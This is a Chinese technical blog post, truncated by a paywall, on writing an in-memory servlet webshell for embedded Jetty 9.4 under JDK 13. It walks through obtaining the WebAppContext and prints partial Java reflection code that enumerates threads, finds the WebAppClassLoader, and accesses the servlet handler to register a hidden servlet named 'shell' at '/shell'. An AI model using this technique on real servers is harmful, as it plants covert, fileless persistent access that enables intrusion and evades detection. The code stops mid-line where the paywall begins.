高版本jdk下jetty servlet型内存马编写

最新推荐文章于 2025-04-02 15:45:12 发布

xdeclearn

最新推荐文章于 2025-04-02 15:45:12 发布

阅读量2.1k

点赞数 4

分类专栏： java 文章标签： servlet java jetty web安全

本文链接：https://blog.csdn.net/xdeclearn/article/details/125969653

版权

本文探讨了在SpringBoot + embedded Jetty 9.4.48.v20220622及JDK 13环境下，如何编写Jetty Servlet型内存马。主要介绍了两种方法：1) 通过request获取webappcontext，包括传统方式和通过Thread获取WebAppClassLoader；2) 通过MBean获取webappcontext时遇到的问题及其解决方法。同时提到了参考文献用于深入研究。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

测试环境为springboot + embeded jetty jetty-9.4.48.v20220622，jdk为13。

jetty内存马的研究类同于tomcat，获取webappcontext通常有两种方式：

一、通过request获取

传统方式是在有request对象时，通过它获取webappcontext对象

在这里插入图片描述
可以看到得到的对象为webappcontext类中嵌入类context（该类不能在系统初始化完成之后再添加listener、filter和servlet。

还有一种方法是通过Thread类获取thread对象，看能不能找到WebAppClassLoader，从而获取webappcontext对象。

在这里插入图片描述
classloader不为空的都是appclassloader，并没有webappclassloader。但是在非嵌入式jetty中确含有webappclassloaer（有兴趣的小伙伴可以分析一下具体原因）。

在这里插入图片描述
在获取了webappclassloader的基础上很容易就能够写出内存马。

        String servletName = "shell";
        String urlPattern = "/shell";

        Method threadMethod = Class.forName("java.lang.Thread").getDeclaredMethod("getThreads");
        threadMethod.setAccessible(true);
        Thread[] threads = (Thread[]) threadMethod.invoke(null);
        ClassLoader threadClassLoader = null;
        for (Thread thread : threads) {
   
            threadClassLoader = thread.getContextClassLoader();
            if (threadClassLoader != null) {
   
                
                if (threadClassLoader.toString().contains("WebAppClassLoader")) {
   
                    Field fieldContext = threadClassLoader.getClass().getDeclaredField("_context");
                    fieldContext.setAccessible(true);
                    Object webAppContext = fieldContext.get(threadClassLoader);
                    Field fieldServletHandler = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler");
                    fieldServletHandler.setAccessible(true);
                    Object servletHandler = fieldServletHandler.get(webAppContext);

                    //check servlet if exist
                    Field fieldServlets = servletHandler.getClass().getDeclaredField(&#

最低0.47元/天解锁文章